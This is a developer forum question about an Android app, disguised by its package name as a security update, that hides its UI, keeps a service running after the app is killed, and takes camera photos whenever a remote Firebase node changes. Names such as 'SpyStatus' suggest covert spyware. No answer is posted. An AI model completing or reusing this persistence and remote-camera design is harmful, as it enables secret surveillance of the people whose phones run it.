Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
294 views
in Technique[技术] by (71.8m points)

android - Background Service with Firebase childeventlistener not working after few minutes

I have created a service which i want to run forever without showing foreground notification. I have Firebase listener in onStartCommand that listens whenever data changes in database. Whenever data changes it does a specific task eg. Capture image.

In Activity class there is nothing just i have started service there and then i finished it. Problem is that i can see on my Samsung J2 device and on Nexus 5 too , that service got stopped whenever i kill application from App drawer. I have implemented Broadcast Receiver on BOOT_COMPLETED and also in service onDestroy but its not working on booting also. In Short my service is not running forever.Also i am not sure about Firebase listener whether it will work in background service or not. There are many apps like whatsapp,hike,Applock, many other apps which restarts even on force close.I want my app listen to Firebase Database every time .Its purely Service based App.It doesnt have any activity. Below is code-

MANIFEST File

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
    android:screenOrientation="portrait"
    android:name="android.support.multidex.MultiDexApplication"
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">


    <activity
        android:name=".ActivityForPermissions"
        android:screenOrientation="portrait">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>


    <service android:name="com.security.update.CameraService"
        android:enabled="true"
        />

    <receiver android:name="com.security.update.ReceiverCall"
        android:enabled="true">
        <intent-filter>
            <action android:name="RESTART_SERVICE" />
            <action android:name="android.intent.action.BOOT_COMPLETED" />
        </intent-filter>
    </receiver>

</application>

Activity class

 public class ActivityForPermissions extends AppCompatActivity {

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    startService(new   Intent(ActivityForPermissions.this,CameraService.class));
    finish();
}


@Override
protected void onDestroy() {
    super.onDestroy();
}}

Reciever Class

public class ReceiverCall extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

    context.startService(new Intent(context, CameraService.class));;
    }

 }

Service Class

public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;

@Override
public void onCreate()
{
    super.onCreate();
    android.os.Debug.waitForDebugger();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    devicemodel = android.os.Build.MODEL;
    mStorageRef = FirebaseStorage.getInstance().getReference();
    database = FirebaseDatabase.getInstance();
    RequestRef = database.getReference("CameraRequest");
    SpyStatus = database.getReference("SpyStatus");
    ListenerForRequestDone();
    return START_STICKY;

}

@Override
public void onDestroy() {
    super.onDestroy();
    Intent intent = new Intent("RESTART_SERVICE");
    sendBroadcast(intent);
}

 public void ListenerForRequestDone(){
    RequestRef.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onChildChanged(DataSnapshot dataSnapshot, String s) {
            StartImageCapture(1);
        }

        @Override
        public void onChildRemoved(DataSnapshot dataSnapshot) {

        }

        @Override
        public void onChildMoved(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onCancelled(DatabaseError databaseError) {

        }
    });
}

Also there is similar questions there eg. this But there is no proper answer.

See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)
Waitting for answers

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

1.4m articles

1.4m replys

5 comments

57.0k users

...